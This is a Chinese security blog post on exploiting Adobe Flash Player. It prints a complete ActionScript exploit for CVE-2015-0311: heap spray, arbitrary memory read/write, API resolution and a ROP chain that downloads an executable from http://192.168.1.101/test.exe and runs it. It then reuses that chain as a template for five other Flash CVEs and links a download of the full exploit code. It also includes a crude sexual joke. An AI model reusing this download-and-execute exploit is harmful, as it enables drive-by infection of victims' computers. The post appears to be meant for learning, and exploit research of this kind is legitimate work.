Flash漏洞利用之“喜闻乐见”

2017-07-25 +18 304276人围观 ,发现 5 个不明物体 漏洞

道德三皇五帝,功名夏后商周。五霸七雄闹春秋,秦汉兴亡过手。

青史几行名姓,北邙无数荒丘。前人田地后人收,说甚龙争虎斗。

上回书,我们讲了二进制漏洞的攻防对抗过程,最后提到了Flash漏洞利用(前一篇文章传送门)。由于篇幅限制,Flash漏洞利用这一块没有详细展开。这回书,我们着重展示下Flash漏洞利用的“喜闻乐见”。说到这里,各位看官可能会想:“什么喜闻乐见,故弄玄虚!”

别急,且听我徐徐道来。

0×0 大牛的“喜闻乐见”

漏洞这一块其实分三个小方向,漏洞挖掘、漏洞分析和漏洞利用。本人主要做的是漏洞利用这一块,不了解漏洞原理的话,自然是无法做出好的利用。因此少不了看一些大牛的漏洞分析文章,这也正应了那句话——“前人田地后人收”。某一日,看到了古河大牛的一篇文章《CVE-2014-0569漏洞分析》http://www.weibo.com/p/1001603769606924861349

大牛的文章,自然是器宇不凡。先是指出了CVE-2014-0569的漏洞成因,然后科普了下casi32函数,之后详细介绍了样本中casi32函数如何造成了溢出,最后介绍了下漏洞利用方式:

Flash漏洞利用之“喜闻乐见”

由于当时刚接触Flash漏洞利用,大牛口中的喜闻乐见,对我等小菜来说却毫无头绪。当时的心情可以用下面这句话来形容:

金莲顿时脸泛红晕,涡生梨颊,骨软筋酥,欲火如炽,一刻难挨。当下打熬不住,柔荑一张,便往大牛胯下探去。谁知五指所触,空然无物,大惊道:“大牛,如何下面没有了?”

这里只是借用下网络段子表达下无奈的心情,无意冒犯大牛哈。不同于以往的IE、JS引擎的漏洞等,Flash漏洞需要将Action Script文件编译成swf,仅仅是编译就会令不少新手走很多弯路,更别说Action Script各种知识。Flash漏洞这一块,存在一个这样的现象:懂漏洞的不懂Flash,懂Flash的不懂漏洞。

对于初次接触Flash漏洞的人,用举步维艰来形容,我觉得一点也不过分。相信大牛也是从懂漏洞不懂Flash一步一步走过来的,因此只有一点一点的学习,才能最终理解大牛的“喜闻乐见”。

这里先普及一些漏洞方面用到的Action Script知识。

0×1 Action Script

Action Script是为Flash开发的一种脚本语言,大量应用在需要交互的Flash游戏方面。对于漏洞研究来说,主要用到的是内存操作的一些知识。

Flash漏洞利用过程普遍会用到堆喷射技术,堆喷的目的是产生一片连续不间断的内存空间供漏洞利用使用。为了产生连续不间断的内存空间,要点在于申请空间的时候,每个元素的大小为诸如0×1000的倍数,一般使用ByteArray或者Vector来实现。Vector可以理解为一种特殊的数组,不同类型的Vector,有着不同长度的头部数据。这里先罗列几个知识点,为后续代码讲解作铺垫。

1)Vector.<uint>

每个Vector.<uint>有8字节BlockHeader,其中前4个字节是size字段。堆喷为了对齐,申请的uint个数为0x3FE。0x3FE*4 + 8 = 0×1000。

2)Vector.<Object>结构

0×0

0×14    指向本vector的0×18偏移,一般用来定位本vector的头部地址

0×18

0x1C

0×20 vtable   函数指针列表,覆写vtable后调用对应的函数实现执行ROP

0×24 length   覆写此值为0xFFFFFFFF,就可以实现任意地址读写

0×28 elements[]      the_vector[0]    

0x2C                 the_vector[1]

0×30                 the_vector[2] 

可以看出Vector.<Object>前0×24/4 = 0xA个Dword为头部,一般申请0x3F6数量的Object,这样(0x3F6+0xA)* 4 = 0×1000。其中:

3)vtable

vtable为Vector对象虚函数表的指针。通过任意地址读写,构造虚函数表,将某个偏移(如0×70)写入ROP链地址,然后将虚函数表的指针覆盖掉Vector头部的vtable字段。这时调用Vector对象的方法(如toString()),实际执行的为ROP链地址。

4)ByteArray

另一个需要了解的就是ByteArray的数据结构,根据不同版本,在ByteArray对象的+0×40 or +0×44 or +0×48会有一个m_buffer,而m_buffer的+0×8保存了真正保存数据的array,+0×10是length。m_buffer具体如图所示:

Flash漏洞利用之“喜闻乐见”

5)casi32

casi32是ActionScript3里面用来操作domainMemory的函数之一,domainMemory是用来加速内存读写操作而加入的工具类。

casi32的函数定义如下:casi32(addr:int, expectedVal:int, newVal:int):int

第一个参数addr表示操作的内存地址(相对于domainMemory),第二个参数expectedVal表示要比较的值,而最后一个参数newVal是要交换的值。

以上为Flash漏洞利用的一点点基本知识,现在不理解没关系,可以结合下一节的代码解析再回来参考。

0×2 CVE-2015-0311

作者在搜寻POC/EXP的过程中,偶然在一个韩国网站上发现CVE-2015-0311和CVE-2015-0313的EXP。其代码编写规范、优美、复用性高,漏洞利用过程不拖泥带水一气呵成,堪称经典(不确定是否是他们原创,也有可能是借鉴别人的代码)。不多说,请看代码:

package

{

import flash.display.Sprite

import flash.system.ApplicationDomain

import flash.utils.ByteArray

import avm2.intrinsics.memory.casi32

public class Main extends Sprite 

{

private var data:uint = 0xdeaddead

private var uv:Vector.<Object> = new Vector.<Object>

private var ba:ByteArray = new ByteArray()

private var spray:Vector.<Object> = new Vector.<Object>(51200)

public function Main() 

{

for (var i:uint = 0; i < 1000; i++) ba.writeUnsignedInt(data++)

ba.compress()

ApplicationDomain.currentDomain.domainMemory = ba

ba.position = 0×200

for (i = 0; i < ba.length – ba.position; i++) ba.writeByte(00)

try {

ba.uncompress()

} catch (e:Error) { }

uv[0] = new Vector.<uint>(0x3E0)

casi32(0, 0x3e0, 0xffffffff)

for (i = 0; i < spray.length; i++) {

spray[i] = new Vector.<Object>(0x3F6)

spray[i][0] = ba

spray[i][1] = this

}

uv[0][0] = uv[0][0x2000003] – 0×18 – 0×2000000 * 4

ba.endian = “littleEndian”

ba.length = 0×500000

var buffer:uint = vector_read(vector_read(uv[0][0x2000008] – 1 + 0×40) + 8) + 0×100000

var main:uint = uv[0][0x2000009] – 1

var vtable:uint = vector_read(main)

vector_write(vector_read(uv[0][0x2000008] – 1 + 0×40) + 8)

vector_write(vector_read(uv[0][0x2000008] – 1 + 0×40) + 16, 0xffffffff)

byte_write(uv[0][0],0x3e0)

var flash:uint = base(vtable)

var kernel32:uint = module(“kernel32.dll”, flash)

var ntdll:uint = module(“ntdll.dll”, kernel32)

var urlmon:uint = module(“urlmon.dll”, flash)

var virtualprotect:uint = procedure(“VirtualProtect”, kernel32)

var winexec:uint = procedure(“WinExec”, kernel32)

var urldownloadtofile:uint = procedure(“URLDownloadToFileA”, urlmon);

var getenvironmentvariable:uint = procedure(“GetEnvironmentVariableA”, kernel32)

var setcurrentdirectory:uint = procedure(“SetCurrentDirectoryA”, kernel32)

var xchgeaxespret:uint = gadget(“c394″, 0x0000ffff, flash)

var xchgeaxesiret:uint = gadget(“c396″, 0x0000ffff, flash)

byte_write(buffer + 0×30000, “\xb8″, false); byte_write(0, vtable, false) // mov eax, vtable

byte_write(0, “\xbb”, false); byte_write(0, main, false) // mov ebx, main

byte_write(0, “\x89\x03″, false) // mov [ebx], eax

byte_write(0, “\x87\xf4\xc3″, false) // xchg esp, esi # ret

byte_write(buffer + 0×100, “http://192.168.1.101/test.exe“)

byte_write(buffer + 0×200, “conime.exe”)

byte_write(buffer + 0×300, “TEMP”)

byte_write(buffer + 0×20070, xchgeaxespret)

byte_write(buffer + 0×20000, xchgeaxesiret)

byte_write(0, virtualprotect)

// VirtualProtect

byte_write(0, getenvironmentvariable)

byte_write(0, buffer + 0×30000)

byte_write(0, 0×1000)

byte_write(0, 0×40)

byte_write(0, buffer + 0×400)

// GetEnvironmentVariable

byte_write(0, setcurrentdirectory)

byte_write(0, buffer + 0×300)

byte_write(0, buffer + 0×400)

byte_write(0, 100)

// SetCurrentDirectory

byte_write(0, urldownloadtofile)

byte_write(0, buffer + 0×400)

// URLDownloadToFile

byte_write(0, winexec)

byte_write(0)

byte_write(0, buffer + 0×100)

byte_write(0, buffer + 0×200)

byte_write(0)

byte_write(0)

// WinExec

byte_write(0, buffer + 0×30000)

byte_write(0, buffer + 0×200)

byte_write(0)

byte_write(main, buffer + 0×20000)

toString()

}

private function vector_write(addr:uint, value:uint = 0):void

{

addr > uv[0][0] ? uv[0][(addr - uv[0][0]) / 4 – 2] = value : uv[0][0xffffffff - (uv[0][0] – addr) / 4 – 1] = value

}

private function vector_read(addr:uint):uint

{

return addr > uv[0][0] ? uv[0][(addr - uv[0][0]) / 4 – 2] : uv[0][0xffffffff - (uv[0][0] – addr) / 4 – 1]

}

private function byte_write(addr:uint, value:* = 0, zero:Boolean = true):void

{

if (addr) ba.position = addr

if (value is String) {

for (var i:uint; i < value.length; i++) ba.writeByte(value.charCodeAt(i))

if (zero) ba.writeByte(0)

} else ba.writeUnsignedInt(value)

}

private function byte_read(addr:uint, type:String = “dword”):uint

{

ba.position = addr

switch(type) {

case “dword”:

return ba.readUnsignedInt()

case “word”:

return ba.readUnsignedShort()

case “byte”:

return ba.readUnsignedByte()

}

return 0

}

private function base(addr:uint):uint

{

addr &= 0xffff0000

while (true) {

if (byte_read(addr) == 0x00905a4d) return addr

addr -= 0×10000

}

return 0

}

private function module(name:String, addr:uint):uint

{

var iat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0×80), i:int = -1

while (true) {

var entry:uint = byte_read(iat + (++i) * 0×14 + 12)

if (!entry) throw new Error(“FAIL!”);

ba.position = addr + entry

if (ba.readUTFBytes(name.length).toUpperCase() == name.toUpperCase()) break

}

return base(byte_read(addr + byte_read(iat + i * 0×14 + 16)))

}

private function procedure(name:String, addr:uint):uint

{

var eat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0×78)

var numberOfNames:uint = byte_read(eat + 0×18)

var addressOfFunctions:uint = addr + byte_read(eat + 0x1c)

var addressOfNames:uint = addr + byte_read(eat + 0×20)

var addressOfNameOrdinals:uint = addr + byte_read(eat + 0×24)

for (var i:uint = 0; ; i++) {

var entry:uint = byte_read(addressOfNames + i * 4)

ba.position = addr + entry

if (ba.readUTFBytes(name.length+2).toUpperCase() == name.toUpperCase()) break

}

return addr + byte_read(addressOfFunctions + byte_read(addressOfNameOrdinals + i * 2, “word”) * 4)

}

private function gadget(gadget:String, hint:uint, addr:uint):uint

{

var find:uint = 0

var limit:uint = byte_read(addr + byte_read(addr + 0x3c) + 0×50)

var value:uint = parseInt(gadget, 16)

for (var i:uint = 0; i < limit – 4; i++) if (value == (byte_read(addr + i) & hint)) break

return addr + i

}

}

}

0×3 CVE-2015-0311关键代码解析

上节是CVE-2015-0311的全部AS代码,本节对其中的关键代码逐行进行解释。其他函数都是一些功能函数,自己研究下就会明白,这里着重解释下Main函数中的代码。

Step1 触发漏洞,实现任意地址读写

Flash漏洞利用之“喜闻乐见”

这块代码主要功能是触发漏洞,修改Vector的长度为0xffffffff,从而实现任意地址读写。大致原理为:

(1)ba的数据地址赋给domainMemory。

(2)ba.compress()之后,将压缩数据0×200偏移之后的数据置0,再调用ba.uncompress()函数时出错,会将ba的空间释放掉回收内存。

(3)内存回收时,并没有将domainMemory的引用释放,漏洞就在这里。

(4)新申请大小为0x3E0的uint类型的Vector,占用刚才释放掉的内存空间。

(5)casi32判断domainMemory偏移0地址(uint的Vector的length)的数据是否为0x3E0,并将之修改为0xffffffff,实现任意地址读写。

Step2 将Vector任意地址读写转化成ByteArray任意地址读写

这一部分用到了前面列出的Action Script的知识,代码精炼,但是理解起来比较烧脑:

(1)

Flash漏洞利用之“喜闻乐见”

for循环实现堆喷,Object的Vector对象,0x3F6参考前面Vector.<Object>结构理解。

(2)

Flash漏洞利用之“喜闻乐见”

这一行代码功能为获取堆喷中的某一个Vector的内存地址,0×2000000落在堆喷的Vector.<Object>空间中部位置。

偏移3可以参考下表,

Flash漏洞利用之“喜闻乐见”

uv[0][0x2000003]指向的为Vector.<Object>的0×14位置,指向0×18。

(3)

Flash漏洞利用之“喜闻乐见”

获取buffer地址:偏移8参考(2)的表,为0×28,参考Vector.<Object>结构为第一个元素,堆喷时第一个元素为ba。后面的+0×40,+8参考ByteArray结构。

获取main地址和vtable地址保存,原理参考上面资料即可。这里的-1,忘记在哪里看到过一篇文章介绍,好像是元素的类型标识,希望知道的同学可以留言科普下。

两个vector_write分别改了ba的buffer指针为0,长度为0xffffffff,后续可以用绝对地址直接读写内存,而不是靠uv[0]的相对地址。

byte_write是将漏洞改写的uv[0]长度恢复,不恢复会造成浏览器崩溃。

Step3 ROP执行shellcode

Flash漏洞利用之“喜闻乐见”

Flash漏洞利用之“喜闻乐见”

98行是将vtable的地址指向buffer + 0×20000,64行是将ROP链的地址写入到buffer + 0×20070,vtable+0×70的地址恰好是toString()函数,因此,99行调用toString()的时候,实际会执行到ROP链的汇编代码:

xchg eax, esp ;交换eax和esp,切换栈环境,原栈地址保存在eax

ret

之后执行汇编代码:

xchg eax,esi ;交换eax和esi,原栈地址保存在esi

ret

之后便ret到各个API执行下载执行的功能,这里不一一详述。

Step4 恢复栈环境

 Flash漏洞利用之“喜闻乐见”

这里再介绍下最后一块代码,其余代码不做解释。

众所周知,二进制漏洞触发后大多会破坏堆栈环境造成浏览器崩溃,上面写入的这段数据对应的汇编代码将之前保存的vtable地址覆写到main指针指向的地址,恢复正常的vtable;然后交换esp和esi恢复栈环境。

正是这一段代码使得浏览器不卡不退不崩溃。其实调试后就会发现,这个漏洞利用只是构造了栈空间数据,没有在栈上执行代码。如果不是为了执行恢复栈环境这段代码,完全可以不调用VirtualProtect。

综合这四步来看,只有第一步是跟漏洞有关,后面的一系列代码,只需要一个条件:一个任意地址读写的uint类型Vector,也就是Vector的长度为0xFFFFFFFF。由此我们可以得出结论:对于其他漏洞,只要能改写一个uint类型Vector的长度为0xFFFFFFFF,就可以套套模板,实现大牛所说的“喜闻乐见”!

口说无凭,我们代码来看。

0×4 我们的“喜闻乐见”

由于篇幅关系,本节只展示关键代码,详细代码可以访问文末的网盘地址下载。

1、 CVE-2014-0569

此漏洞就是最开始让作者喜闻乐见的古河大牛分析的漏洞,当时单看漏洞分析的文章,自己无法快速做出利用程序。经过以上的分析,很显然,后面的过程真的如大牛所说的喜闻乐见。

Flash漏洞利用之“喜闻乐见”

获得一个长度为0xFFFFFFFF的uint类型Vector,赋值给uv[0],后续利用过程喜闻乐见!

2、 CVE-2014-0556

漏洞描述:

A heap buffer overflow exists in Adobe Flash Player. The vulnerability is due to an integer overflow of the position property of a BitmapData object leading to a heap buffer overflow in copyPixelsToByteArray().

Flash漏洞利用之“喜闻乐见”

获得一个长度为0xFFFFFFFF的uint类型Vector,赋值给uv[0],后续利用过程喜闻乐见!

3、 CVE-2015-0313

与CVE-2015-0311漏洞同样都是UAF类型的。通过domainMemory引用的内存在被释放掉时没有删除引用,从而实现修改Vector长度。

Flash漏洞利用之“喜闻乐见”

获得一个长度为0xFFFFFFFF的uint类型Vector,赋值给ov[0],后续利用过程喜闻乐见!

4、 CVE-2015- 3043

CVE-2015-3043是FLV音频解析流中的漏洞,通过修改FLV文件的音频便签可以触发,效果是溢出一个0×2000长度的堆buffer。

Flash漏洞利用之“喜闻乐见”

Flash漏洞利用之“喜闻乐见”

加载触发漏洞的flv文件后,搜索Vectors,找到长度溢出的Vector,再修改后面的Vector长度为0xFFFFFFFF,赋值给uv[0],后续利用过程喜闻乐见!

5、 CVE-2015-3090

CVE-2015-3090是Flash在处理shader类中通过异步改变shader对象的width/height引发条件竞争,从而导致堆破坏的漏洞。

Flash漏洞利用之“喜闻乐见”

获得一个长度为0xFFFFFFFF的uint类型Vector,赋值给uv[0],后续利用过程喜闻乐见!

0×5 最新的防护措施

经过上一节的刷漏洞过程,是不是有种掌控世界的感觉?不过这些都是历史了,当年Hacking Team曝出来两个Flash的0day,迫于压力,Adobe在新版的Flash采取了多种手段进行防护。在Pwn2Own2016上,腾讯员工郑文选专门就这些防护做了一篇报告《Flash Player最新安全特性分析及绕过思路》。郑文选讲的已经很到位了,这里就不重复造轮子,直接引用部分内容作为收尾。

Flash漏洞利用之“喜闻乐见”

都是套路

Flash漏洞利用之“喜闻乐见”

隔离堆使得堆喷的内存不连续,也就很难修改后面的Vector长度。

Flash漏洞利用之“喜闻乐见”

就算运气好,改了长度,也不对。

Flash漏洞利用之“喜闻乐见”

就算长度对,调用虚函数如toString()也不能成功。

Flash漏洞利用之“喜闻乐见”

真的是见招拆招啊。

更详细的内容可以参考《Flash Player最新安全特性分析及绕过思路》。

0×6 后记

二进制的漏洞利用就是这样,攻与防之间不断的见招拆招,但是总的趋势就是防护越来越严格,二进制的漏洞利用越来越难。这在行业中也有体现,君不见各种招聘全是WEB渗透方向的。究其原因,WEB渗透测试能直接产生效益,而二进制漏洞的效益目前也仅仅体现在手机Root和PWN比赛利用新闻做广告了,路子越来越窄。

敢问路在何方?

网盘地址:链接:http://pan.baidu.com/s/1i53i0NN 密码:ssyp。仅供安全研究使用,请勿用于非法用途。

*本文原创作者:泰格实验室,转载请注明FreeBuf.COM

Loading...
tigerlab

免费密码恢复网站:www.hashkill.com。“泰格实验室”是一群来自高校、安全公司和互联网公司的网络安全爱好者组成的安全研究团体。微信搜索“泰格实验室”与我们保持联系。

6 文章数 8 评论数

特别推荐

关注我们 分享每日精选文章

css.php